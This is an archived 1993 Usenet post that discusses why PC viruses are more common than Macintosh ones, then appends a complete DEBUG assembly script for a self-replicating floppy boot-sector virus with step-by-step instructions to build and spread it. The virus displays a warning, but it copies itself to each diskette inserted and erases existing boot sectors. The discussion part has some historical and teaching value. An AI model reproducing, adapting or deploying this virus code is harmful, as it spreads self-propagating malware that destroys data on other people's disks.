Article View: comp.security.misc
Article #780Re: Future OS virus immunity. (repost/long)
From: Kevin Andrew Buhr
Date: Sat, 02 Jan 1993 06:48
Date: Sat, 02 Jan 1993 06:48
227 lines
11555 bytes
11555 bytes
[ This is a repost... the older version has been cancelled because of a material typographical error and so I could make a few last minute revisions. ;) ] In article <1992Dec31.172536.16049@das.harvard.edu> adam@endor.uucp (Adam Shostack) writes: | | Does anyone care to comment on why there are so many more MS-Dos | viruses out there, and there doesn't seem to be any universally | accepted tool (like Disinfectant) to stop viruses. Or is this a false | impression because I use a mac and have taken the time to find out | about the tools available? Three factors come immediately to mind. The first is the difference in the number of PC compatible units and Macintosh units in service. I would guess that the rate of spread for a virus would be proportional to the rate at which users share disks. I suspect this, in turn, would be proportional to the square of the number of units. (If someone takes me up on this point, I'll explain my reasoning.) Since there are more PC units than Mac units, PC viri spread at a much greater rate. Even though the Mac OS seems to have some virus-friendly features (for example, if I'm not mistaken, a certain program on a floppy--the resource fork of a "desktop" object--is executed whenever it is popped into the machine, and this would allow a virus to become active without any "booting" taking place), the difference in sheer market size has a number of effects. First, there are more PC virus writers than Mac virus writers in part because there are more PCs than Macs. Second, a virus writer--motivated, presumably, by the possibility of immortality through infamy--writes for the platform best able to spread his or her creation. The second factor, and a significant one at that, is the geographic distribution of these platforms. Frankly, the Macintosh isn't really popular in Bulgaria, where virus writing *and malicious distribution* is a perfectly legal hobby. Some people have estimated that 90% of the new (innovative) viri that have been produced in recent years have been produced in virus-factory nations where the PC compatible has a virtual monopoly. Hence, the really devious viri are PC viri. The third factor is the relative effort involved in writing a PC virus and a Macintosh virus. Most DOS implementations come with "DEBUG.EXE", a handy monitor utility that allows for limited assembly coding. Also, since DOS is such a basic operating system, most DOS programmers know a great deal about machine interals (because they have to). Finally, since DOS is so damn popular and so bare-boned, it is profitable and easy to write comprehensive ultra-technical reference manuals that tell a programmer everything he or she ever wanted to know about the PC's deepest, darkest secrets. By way of illustration, I have included, after the main text of this post, a simple experimental PC virus you can make at home. I wrote this in about fifteen minutes (and with a bad head cold, no less). The information I needed I got from a $20 reference book, though the same information is available from numerous free text files. Anyone with a functioning human brain, a bit of spare time, and some rudimentary knowledge of machine language programming on the PC platform can try their hand at modifying an existing PC boot sector virus, like "Stoned", and release a variant that may or may not be detectable by existing anti-viral software. Compare this to the world of Macintosh programming. The Mac isn't bundled with any "DEBUG.EXE" counterpart. Relatively fewer Mac programmers learn assembly language. Moreover, most of the people programming for the Mac have shelled out $300 for their development software: they aren't likely to be high school closet crackers. What's the result? Well, PC anti-viral software programmers look like idiots, because their software is obsolete hours after it's released, and the number of varieties of PC viri far outnumber those on the Mac. Mac users, in turn, look around and wonder what all the fuss is about. One estimate, posted in reply to your article, gave as around 500 the number of PC virus families which have been catalogued. I suspect the actual number of "successful" virus families is many times larger than this: lack of communication or containment in large, computer-naive organizations have probably conspired to keep the others secret. While the Macintosh virus universe appears to be made up of fifty or so viri from time immemorial, the PC virus universe is made up of thousands of complex viri families and their associated mutations with more being created every day. From what little I know of Mac OS, it would be a *much* friendlier virus writing environment than the PC, and there is certainly nothing special about the Mac that makes it easier to control the spread of new viri. In conclusion, you can thank simple statistical principles (and the inexplicable popularity of the PC platform) for the relatively virus-free Macs. Kevin Buhr <buhr@ccu.UManitoba.CA> --- As promised, here's a simple, relatively harmless, experimental PC boot virus. The following procedure will write a copy of the experimental virus to a disk in drive A. When this disk is booted, it tells the user to insert a system diskette and press a key. When the user does this, the experimental virus writes a copy of itself to the new disk and reboots. Again, the user is told that he or she must insert a system disk and press a key. This dumb little game continues until the user runs out of system disks or gets suspicious. The experimental virus doesn't install itself in memory and doesn't change the hard drive: all it does is modify diskette boot sectors. As an added precaution, the experimental virus announces itself as such, and explains to the user what he or she should do to avoid infection. I think this virus illustrates a few important points: 1. I am in desperate need of attention and am also boastful about the most trivial of my accomplishments. 2. The user is an integral part of the virus's life cycle. A computer system can be ridiculously secure, the operating system can be an iron curtain, but it won't mean anything if the virus can trick the user into doing something he or she shouldn't. 3. Viri aren't mysterious, arcane programs written by programming wizards. Most are dull little toys that are easily outwitted with regular backups and a few basic precautions. The rest are clever little toys that are easily outwitted with regular backups and a few basic precautions. 4. Writing a new PC virus is very easy, "DEBUG" is the product of an evil mind, and it and all those Cap'n Crunch whistles should be burned in a great big bonfire. --------- CUT HERE --------- Permission is granted to create this experimental PC boot sector virus without malicious intent on a single-user PC compatible computer owned by you and for your personal, experimental use. Any modified versions must display the original warning message and give a possibly unknowledgeable user a reasonable chance to prevent the virus from spreading. Permission is granted to distribute this experimental PC boot sector virus to others in either an active form (on a floppy disk boot sector) or in an inactive form (as a binary image contained in a file or as a text file explaining how to recreate it, for example) provided the receiver is made fully aware of the nature of the experimental virus, it is accompanied by this text, and my name is not associated with the experimental virus. In particular, you are _not_ permitted to use this experimental virus or any derivative work in such a way that a user who is not aware of its nature may reasonably be expected to execute its code. I accept no responsibility for the use of this experimental virus or any derivative work. If you are unsure of your ability to understand the workings of this experimental virus and to control its spread, don't use it: take it at face value and trust that it works the way I said. >> <C:\> copy con virus.mak >> a 100 >> jmp 2a1 ; jump ahead to the rest of the program >> >> e 103 a 7 'WARNING: This is an experimental boot sector virus.' a d >> e 13b 7 ' Ignore the instructions below, remove the' a d >> e 171 7 ' diskette from drive A, and shut off your' a d >> e 1a6 ' computer.' a d >> e 1bb a ' Restart your computer from a "safe" diskette.' a d >> e 1f5 a ' If you insert a system diskette and press a key,' a d >> e 232 ' that diskette will become infected!!' a d a a >> e 264 a 'Non-system disk.' a d >> e 277 a 'Insert system disk and press any key.' a d a 0 >> a 2a1 >> mov ax,7c0 ; boot sectors are loaded at paragraph 07c0h >> push ax ; (just think of this section as housekeeping) >> push ax >> pop es >> pop ds >> mov si,3 ; display warning message and non-system disk error >> mov al,[si] ; (this would be the bait) >> or al,al >> jz 2bb >> mov ah,0e >> mov bx,1 >> int 10 >> inc si >> jmp 2ab >> xor ah,ah ; wait for user to press a key >> int 16 ; (at this point, user will have inserted a new disk) >> or al,al >> jz 2bb >> xor dx,dx ; write a copy of this virus to the boot sector >> mov cx,1 >> mov ax,301 >> xor bx,bx >> int 13 >> jnb 2d6 >> cmp ah,06 ; we check for one error code and retry if we get it: >> jz 2c3 ; error 6 is a "disk was changed" code, which we can expect. >> int 19 ; and now, we restart the computer >> >> w 100,0,0,1 ; write the program we created to the boot sector on drive A >> q >> ^Z >> <C:\> >> >> [ At this point, insert a junkable formatted floppy disk in drive A... ] >> >> <C:\> debug <virus.mak Now, you have infected the disk with a simple experimental boot sector virus. To try it out, reboot from the floppy. When prompted, insert another junk diskette (which must be already formatted) and press any key. Try shutting off your computer and rebooting from the second diskette. Wow! The experimental virus has spread. When you've finished playing with it, you can either avoid booting the infected diskettes (or heed the warning message and follow instructions if you forget) or you can copy your files off, reformat the disk, and copy your files back on. If you know what you're doing, you can always convince a favorite utility to rewrite the floppy boot sector. Most anti-virus software can be instructed to do this for you. Don't try to infect a bootable floppy disk unless you don't want to boot from it any more. This experimental virus erases existing boot sectors (unlike Stoned, which puts them aside where they are still accessible and can be recovered by the appropriate software).
Technical Details
Message-ID:
<BUHR.93Jan2004842@ccu.umanitoba.ca>Path:
arc1-ca.pugleaf.net!sparky!uunet!newsflash.concordia.ca!mizar.cc.umanitoba.ca!news!buhrReferences:
<eronald.725752239@ruble> <1hv07gINN3mn@rave.larc.nasa.gov> <1992Dec31.172536.16049@das.harvard.edu>Show Full Headers
Complete Article Headers
Newsgroups: comp.security.misc
Path: arc1-ca.pugleaf.net!sparky!uunet!newsflash.concordia.ca!mizar.cc.umanitoba.ca!news!buhr
From: buhr@umanitoba.ca (Kevin Andrew Buhr)
Subject: Re: Future OS virus immunity. (repost/long)
In-Reply-To: adam@endor.uucp's message of 31 Dec 92 17:25:36 GMT
Message-ID: <BUHR.93Jan2004842@ccu.umanitoba.ca>
Sender: news@ccu.umanitoba.ca
Nntp-Posting-Host: ccu.umanitoba.ca
Organization: University of Manitoba, Canada
References: <eronald.725752239@ruble> <1hv07gINN3mn@rave.larc.nasa.gov>
<1992Dec31.172536.16049@das.harvard.edu>
Date: Sat, 2 Jan 1993 06:48:42 GMT
Lines: 227